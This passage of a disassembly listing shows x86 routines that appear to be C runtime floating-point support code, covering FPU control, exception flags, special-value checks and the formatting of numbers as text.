and ecx, 3 sub ecx, 0 jz short loc_41C2BE dec ecx jz short loc_41C2B2 dec ecx jz short loc_41C2A8 dec ecx jnz short loc_41C2C0 or byte ptr [esi+1], 0Ch jmp short loc_41C2C0 ; --------------------------------------------------------------------------- loc_41C2A8: ; CODE XREF: sub_41C040+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_41C2BA ; --------------------------------------------------------------------------- loc_41C2B2: ; CODE XREF: sub_41C040+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_41C2BA: ; CODE XREF: sub_41C040+270j mov [esi], ecx jmp short loc_41C2C0 ; --------------------------------------------------------------------------- loc_41C2BE: ; CODE XREF: sub_41C040+257j and [esi], edx loc_41C2C0: ; CODE XREF: sub_41C040+260j ; sub_41C040+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_41C2E0 dec ecx jz short loc_41C2D7 dec ecx jnz short loc_41C2E9 and [esi], edx jmp short loc_41C2E9 ; --------------------------------------------------------------------------- loc_41C2D7: ; CODE XREF: sub_41C040+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_41C2E7 ; --------------------------------------------------------------------------- loc_41C2E0: ; CODE XREF: sub_41C040+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_41C2E7: ; CODE XREF: sub_41C040+29Ej mov [esi], ecx loc_41C2E9: ; CODE XREF: sub_41C040+291j ; sub_41C040+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_41C040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C2F3 proc near ; CODE XREF: sub_41BFA8+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_41C31E test byte ptr [ebp+arg_8], bl jz short loc_41C31E push ebx call sub_41C7A0 pop ecx and edi, 0FFFFFFF7h jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C31E: ; CODE XREF: sub_41C2F3+15j ; sub_41C2F3+1Aj test al, 4 jz short loc_41C338 test byte ptr [ebp+arg_8], 4 jz short loc_41C338 push 4 call sub_41C7A0 pop ecx and edi, 0FFFFFFFBh jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C338: ; CODE XREF: sub_41C2F3+2Dj ; sub_41C2F3+33j test al, bl jz loc_41C412 test byte ptr [ebp+arg_8], 8 jz loc_41C412 push 8 call sub_41C7A0 pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_41C3EA cmp ecx, 400h jz short loc_41C3C2 cmp ecx, 800h jz short loc_41C39A cmp ecx, eax jnz loc_41C40A mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fld dbl_43B8D0 fnstsw ax sahf ja short loc_41C392 fchs loc_41C392: ; CODE XREF: sub_41C2F3+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C408 ; --------------------------------------------------------------------------- loc_41C39A: ; CODE XREF: sub_41C2F3+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fnstsw ax sahf jbe short loc_41C3B2 fld dbl_43B8C0 jmp short loc_41C3BA ; --------------------------------------------------------------------------- loc_41C3B2: ; CODE XREF: sub_41C2F3+B5j fld dbl_43B8D0 fchs loc_41C3BA: ; CODE XREF: sub_41C2F3+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C408 ; --------------------------------------------------------------------------- loc_41C3C2: ; CODE XREF: sub_41C2F3+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fnstsw ax sahf jbe short loc_41C3DA fld dbl_43B8D0 jmp short loc_41C3E2 ; --------------------------------------------------------------------------- loc_41C3DA: ; CODE XREF: sub_41C2F3+DDj fld dbl_43B8C0 fchs loc_41C3E2: ; CODE XREF: sub_41C2F3+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C408 ; --------------------------------------------------------------------------- loc_41C3EA: ; CODE XREF: sub_41C2F3+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fld dbl_43B8C0 fnstsw ax sahf ja short loc_41C402 fchs loc_41C402: ; CODE XREF: sub_41C2F3+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_41C408: ; CODE XREF: sub_41C2F3+A5j ; sub_41C2F3+CDj ... fstp qword ptr [ecx] loc_41C40A: ; CODE XREF: sub_41C2F3+81j and edi, 0FFFFFFFEh jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C412: ; CODE XREF: sub_41C2F3+47j ; sub_41C2F3+51j test al, 2 jz loc_41C4E8 test byte ptr [ebp+arg_8], 10h jz loc_41C4E8 push esi xor esi, esi test al, 10h jz short loc_41C42D mov esi, ebx loc_41C42D: ; CODE XREF: sub_41C2F3+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_424818 fnstsw ax sahf jz loc_41C4D6 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_41C69F mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_41C478 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_41C4CC ; --------------------------------------------------------------------------- loc_41C478: ; CODE XREF: sub_41C2F3+17Aj fld [ebp+var_C] fcomp dbl_424818 fnstsw ax sahf jnb short loc_41C48A mov edx, ebx jmp short loc_41C48C ; --------------------------------------------------------------------------- loc_41C48A: ; CODE XREF: sub_41C2F3+191j xor edx, edx loc_41C48C: ; CODE XREF: sub_41C2F3+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_41C4C0 sub eax, ecx loc_41C4A3: ; CODE XREF: sub_41C2F3+1CBj test byte ptr [ebp+var_C], bl jz short loc_41C4AE test esi, esi jnz short loc_41C4AE mov esi, ebx loc_41C4AE: ; CODE XREF: sub_41C2F3+1B3j ; sub_41C2F3+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_41C4BA or byte ptr [ebp+var_C+3], 80h loc_41C4BA: ; CODE XREF: sub_41C2F3+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_41C4A3 loc_41C4C0: ; CODE XREF: sub_41C2F3+1ACj test edx, edx jz short loc_41C4CC fld [ebp+var_C] fchs fstp [ebp+var_C] loc_41C4CC: ; CODE XREF: sub_41C2F3+183j ; sub_41C2F3+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_41C4D8 ; --------------------------------------------------------------------------- loc_41C4D6: ; CODE XREF: sub_41C2F3+14Ej mov esi, ebx loc_41C4D8: ; CODE XREF: sub_41C2F3+1E1j test esi, esi pop esi jz short loc_41C4E5 push 10h call sub_41C7A0 pop ecx loc_41C4E5: ; CODE XREF: sub_41C2F3+1E8j and edi, 0FFFFFFFDh loc_41C4E8: ; CODE XREF: sub_41C2F3+26j ; sub_41C2F3+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_41C4FF test byte ptr [ebp+arg_8], 20h jz short loc_41C4FF push 20h call sub_41C7A0 pop ecx and edi, 0FFFFFFEFh loc_41C4FF: ; CODE XREF: sub_41C2F3+1F9j ; sub_41C2F3+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_41C2F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C50A(int,int,int,int,int,int,double,int) sub_41C50A proc near ; CODE XREF: sub_41BF55+2Bp ; sub_41BFA8+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_41C5B8 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_41C575 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_41C77D lea eax, [ebp+var_20] push eax call sub_42017F add esp, 0Ch test eax, eax jnz short loc_41C56F push esi call sub_41C592 pop ecx loc_41C56F: ; CODE XREF: sub_41C50A+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_41C575: ; CODE XREF: sub_41C50A+14j push 0FFFFh push [ebp+arg_20] call sub_41C77D push [ebp+arg_0] call sub_41C592 fld [ebp+arg_18] add esp, 0Ch leave retn sub_41C50A endp ; =============== S U B R O U T I N E ======================================= sub_41C592 proc near ; CODE XREF: sub_41BFA8+7Dp ; sub_41C50A+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_41C5AD jle short locret_41C5B7 cmp eax, 3 jg short locret_41C5B7 mov dword_48A014, 22h retn ; --------------------------------------------------------------------------- loc_41C5AD: ; CODE XREF: sub_41C592+7j mov dword_48A014, 21h locret_41C5B7: ; CODE XREF: sub_41C592+9j ; sub_41C592+Ej retn sub_41C592 endp ; =============== S U B R O U T I N E ======================================= sub_41C5B8 proc near ; CODE XREF: sub_41C50A+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43B7E8 loc_41C5BF: ; CODE XREF: sub_41C5B8+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_41C5D5 add eax, 8 inc ecx cmp eax, offset dbl_43B8C0 jl short loc_41C5BF xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C5D5: ; CODE XREF: sub_41C5B8+Dj mov eax, off_43B7EC[ecx*8] retn sub_41C5B8 endp ; =============== S U B R O U T I N E ======================================= sub_41C5DD proc near ; CODE XREF: sub_41BFA8+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_41C5E9 push 5 jmp short loc_41C5FF ; --------------------------------------------------------------------------- loc_41C5E9: ; CODE XREF: sub_41C5DD+6j test al, 8 jz short loc_41C5F1 push 1 jmp short loc_41C5FF ; --------------------------------------------------------------------------- loc_41C5F1: ; CODE XREF: sub_41C5DD+Ej test al, 4 jz short loc_41C5F9 push 2 jmp short loc_41C5FF ; --------------------------------------------------------------------------- loc_41C5F9: ; CODE XREF: sub_41C5DD+16j test al, 1 jz short loc_41C601 push 3 loc_41C5FF: ; CODE XREF: sub_41C5DD+Aj ; sub_41C5DD+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_41C601: ; CODE XREF: sub_41C5DD+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_41C5DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C60A(double) sub_41C60A proc near ; CODE XREF: sub_417CA4:loc_417D2Ap ; sub_417DEB:loc_417E71p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_41C60A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C61C(double,int) sub_41C61C proc near ; CODE XREF: sub_41C69F+82p ; sub_41C69F+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_41C61C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_417CA4+31p ; sub_417DEB+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_41C65C cmp [ebp+arg_0], edx jnz short loc_41C66E push 1 jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C65C: ; CODE XREF: sub_41C645+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_41C66E cmp [ebp+arg_0], edx jnz short loc_41C66E push 2 jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C66E: ; CODE XREF: sub_41C645+11j ; sub_41C645+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_41C681 push 3 jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C681: ; CODE XREF: sub_41C645+36j cmp cx, 7FF0h jnz short loc_41C69B test [ebp+arg_4], 7FFFFh jnz short loc_41C696 cmp [ebp+arg_0], edx jz short loc_41C69B loc_41C696: ; CODE XREF: sub_41C645+4Aj push 4 loc_41C698: ; CODE XREF: sub_41C645+15j ; sub_41C645+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41C69B: ; CODE XREF: sub_41C645+41j ; sub_41C645+4Fj xor eax, eax pop ebp retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C69F(double,int) sub_41C69F proc near ; CODE XREF: sub_41C2F3+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_424818 push esi fnstsw ax sahf jnz short loc_41C6BF fldz xor esi, esi fstp [ebp+var_8] jmp loc_41C755 ; --------------------------------------------------------------------------- loc_41C6BF: ; CODE XREF: sub_41C69F+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_41C72E test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_41C6D7 cmp dword ptr [ebp+arg_0], ecx jz short loc_41C72E loc_41C6D7: ; CODE XREF: sub_41C69F+31j fld [ebp+arg_0] fcomp dbl_424818 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_41C6EF push 1 pop eax jmp short loc_41C6F1 ; --------------------------------------------------------------------------- loc_41C6EF: ; CODE XREF: sub_41C69F+49j xor eax, eax loc_41C6F1: ; CODE XREF: sub_41C69F+4Ej ; sub_41C69F+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_41C70A shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_41C704 or dword ptr [ebp+arg_0+4], 1 loc_41C704: ; CODE XREF: sub_41C69F+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_41C6F1 ; --------------------------------------------------------------------------- loc_41C70A: ; CODE XREF: sub_41C69F+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_41C718 or byte ptr [ebp+arg_0+7], 80h loc_41C718: ; CODE XREF: sub_41C69F+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_41C61C fstp [ebp+var_8] add esp, 0Ch jmp short loc_41C755 ; --------------------------------------------------------------------------- loc_41C72E: ; CODE XREF: sub_41C69F+28j ; sub_41C69F+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_41C61C mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_41C755: ; CODE XREF: sub_41C69F+1Bj ; sub_41C69F+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_41C69F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C760 proc near ; CODE XREF: sub_41C040+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C76E proc near ; CODE XREF: sub_41C040+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_41C76E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C77D proc near ; CODE XREF: sub_417CA4+13p ; sub_417CA4+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_41C77D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C7A0 proc near ; CODE XREF: sub_41C2F3+1Dp ; sub_41C2F3+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_41C7B7 fld tbyte_43B8E8 fistp [ebp+arg_0] wait loc_41C7B7: ; CODE XREF: sub_41C7A0+Bj test cl, 8 jz short loc_41C7CC fstsw ax fld tbyte_43B8E8 fstp [ebp+var_8] wait fstsw ax loc_41C7CC: ; CODE XREF: sub_41C7A0+1Aj test cl, 10h jz short loc_41C7DB fld tbyte_43B8F4 fstp [ebp+var_8] wait loc_41C7DB: ; CODE XREF: sub_41C7A0+2Fj test cl, 4 jz short loc_41C7E9 fldz fld1 fdivrp st(1), st fstp st wait loc_41C7E9: ; CODE XREF: sub_41C7A0+3Ej test cl, 20h jz short locret_41C7F4 fldpi fstp [ebp+var_8] wait locret_41C7F4: ; CODE XREF: sub_41C7A0+4Cj leave retn sub_41C7A0 endp ; =============== S U B R O U T I N E ======================================= sub_41C7F6 proc near ; CODE XREF: sub_417D73+Fp push 30000h push 10000h call sub_4201B7 pop ecx pop ecx retn sub_41C7F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C808 proc near ; CODE XREF: sub_41C846:loc_41C86Aj var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_424828 fstp [ebp+var_8] fld dbl_424820 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_4246A8 fnstsw ax sahf jbe short loc_41C842 push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_41C842: ; CODE XREF: sub_41C808+33j xor eax, eax leave retn sub_41C808 endp ; =============== S U B R O U T I N E ======================================= sub_41C846 proc near ; CODE XREF: sub_417D73+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 2700B59h test eax, eax jz short loc_41C86A push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax nop call near ptr 26D0588h test eax, eax jz short loc_41C86A push 0 call eax retn ; --------------------------------------------------------------------------- loc_41C86A: ; CODE XREF: sub_41C846+Dj ; sub_41C846+1Dj jmp sub_41C808 sub_41C846 endp ; =============== S U B R O U T I N E ======================================= sub_41C86F proc near ; CODE XREF: sub_419E38+3CBp ; DATA XREF: sub_417D8B+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_419101 cmp eax, 65h pop ecx jz short loc_41C8AF loc_41C883: ; CODE XREF: sub_41C86F+3Ej inc esi cmp dword_4397AC, 1 jle short loc_41C89C movsx eax, byte ptr [esi] push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_41C8AB ; --------------------------------------------------------------------------- loc_41C89C: ; CODE XREF: sub_41C86F+1Cj movsx eax, byte ptr [esi] mov ecx, off_4395A0 mov al, [ecx+eax*2] and eax, 4 loc_41C8AB: ; CODE XREF: sub_41C86F+2Bj test eax, eax jnz short loc_41C883 loc_41C8AF: ; CODE XREF: sub_41C86F+12j mov cl, byte_4397B0 mov al, [esi] mov [esi], cl inc esi loc_41C8BA: ; CODE XREF: sub_41C86F+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_41C8BA pop esi retn sub_41C86F endp ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_419E38+3E2p ; DATA XREF: sub_417D8B+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_4397B0 mov cl, [eax] test cl, cl jz short loc_41C8E5 loc_41C8D9: ; CODE XREF: sub_41C8C9+1Aj cmp cl, dl jz short loc_41C8E5 mov cl, [eax+1] inc eax test cl, cl jnz short loc_41C8D9 loc_41C8E5: ; CODE XREF: sub_41C8C9+Ej ; sub_41C8C9+12j mov cl, [eax] inc eax test cl, cl jz short locret_41C916 loc_41C8EC: ; CODE XREF: sub_41C8C9+34j mov cl, [eax] test cl, cl jz short loc_41C8FF cmp cl, 65h jz short loc_41C8FF cmp cl, 45h jz short loc_41C8FF inc eax jmp short loc_41C8EC ; --------------------------------------------------------------------------- loc_41C8FF: ; CODE XREF: sub_41C8C9+27j ; sub_41C8C9+2Cj ... mov ecx, eax loc_41C901: ; CODE XREF: sub_41C8C9+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_41C901 cmp [eax], dl jnz short loc_41C90C dec eax loc_41C90C: ; CODE XREF: sub_41C8C9+40j ; sub_41C8C9+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_41C90C locret_41C916: ; CODE XREF: sub_41C8C9+21j retn sub_41C8C9 endp ; =============== S U B R O U T I N E ======================================= sub_41C917 proc near ; DATA XREF: sub_417D8B+28o ; ___:off_43B910o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_424818 fnstsw ax sahf jb short loc_41C92C push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41C92C: ; CODE XREF: sub_41C917+Fj xor eax, eax retn sub_41C917 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C92F proc near ; CODE XREF: sub_41D797+430p ; DATA XREF: sub_417D8B+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_41C958 lea eax, [ebp+var_8] push eax call sub_42067A mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_41C958: ; CODE XREF: sub_41C92F+Cj lea eax, [ebp+arg_8] push eax call sub_4206A7 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_41C92F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C96D proc near ; CODE XREF: sub_41CBEA+17p ; sub_41CC34+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_48A084, 0 push ebx push esi jz short loc_41C9A2 mov ebx, [ebp+arg_8] mov eax, dword_48A080 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_41CC85 pop ecx pop ecx jmp short loc_41C9DA ; --------------------------------------------------------------------------- loc_41C9A2: ; CODE XREF: sub_41C96D+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_42074B mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_4206D4 add esp, 14h loc_41C9DA: ; CODE XREF: sub_41C96D+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_41C9E6 mov byte ptr [eax], 2Dh inc eax loc_41C9E6: ; CODE XREF: sub_41C96D+73j test ebx, ebx jle short loc_41C9FE mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_4397B0 mov eax, edi pop edi mov [eax], cl loc_41C9FE: ; CODE XREF: sub_41C96D+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_48A084, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_4179C0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_41CA25 mov byte ptr [ecx], 45h loc_41CA25: ; CODE XREF: sub_41C96D+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_41CA6A mov ebx, [esi+4] dec ebx jns short loc_41CA39 neg ebx mov byte ptr [ecx], 2Dh loc_41CA39: ; CODE XREF: sub_41C96D+C5j inc ecx cmp ebx, 64h jl short loc_41CA50 mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41CA50: ; CODE XREF: sub_41C96D+D0j inc ecx cmp ebx, 0Ah jl short loc_41CA67 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41CA67: ; CODE XREF: sub_41C96D+E7j add [ecx+1], bl loc_41CA6A: ; CODE XREF: sub_41C96D+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_41C96D endp ; =============== S U B R O U T I N E ======================================= sub_41CA71 proc near ; CODE XREF: sub_41CC11+13p ; sub_41CC34+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_48A084, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_41CAAC mov eax, dword_48A088 mov ebx, [esp+10h+arg_8] mov esi, dword_48A080 cmp eax, ebx jnz short loc_41CADC xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_41CADC ; --------------------------------------------------------------------------- loc_41CAAC: ; CODE XREF: sub_41CA71+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_42074B mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_4206D4 add esp, 14h loc_41CADC: ; CODE XREF: sub_41CA71+22j ; sub_41CA71+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_41CAEA mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_41CAEA: ; CODE XREF: sub_41CA71+70j mov eax, [esi+4] test eax, eax jg short loc_41CB01 push 1 push edi call sub_41CC85 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_41CB03 ; --------------------------------------------------------------------------- loc_41CB01: ; CODE XREF: sub_41CA71+7Ej add edi, eax loc_41CB03: ; CODE XREF: sub_41CA71+8Ej test ebx, ebx jle short loc_41CB48 push 1 push edi call sub_41CC85 mov al, byte_4397B0 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_41CB48 cmp byte_48A084, 0 jz short loc_41CB2D neg esi jmp short loc_41CB33 ; --------------------------------------------------------------------------- loc_41CB2D: ; CODE XREF: sub_41CA71+B6j neg esi cmp ebx, esi jl short loc_41CB35 loc_41CB33: ; CODE XREF: sub_41CA71+BAj mov ebx, esi loc_41CB35: ; CODE XREF: sub_41CA71+C0j push ebx push edi call sub_41CC85 push ebx push 30h push edi call sub_417330 add esp, 14h loc_41CB48: ; CODE XREF: sub_41CA71+94j ; sub_41CA71+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_41CA71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB4F proc near ; CODE XREF: sub_41CC34+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_42074B mov dword_48A080, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_48A088, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_4206D4 mov eax, dword_48A080 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_48A088, ecx setl cl mov byte_48A08C, cl mov eax, [eax+4] dec eax cmp 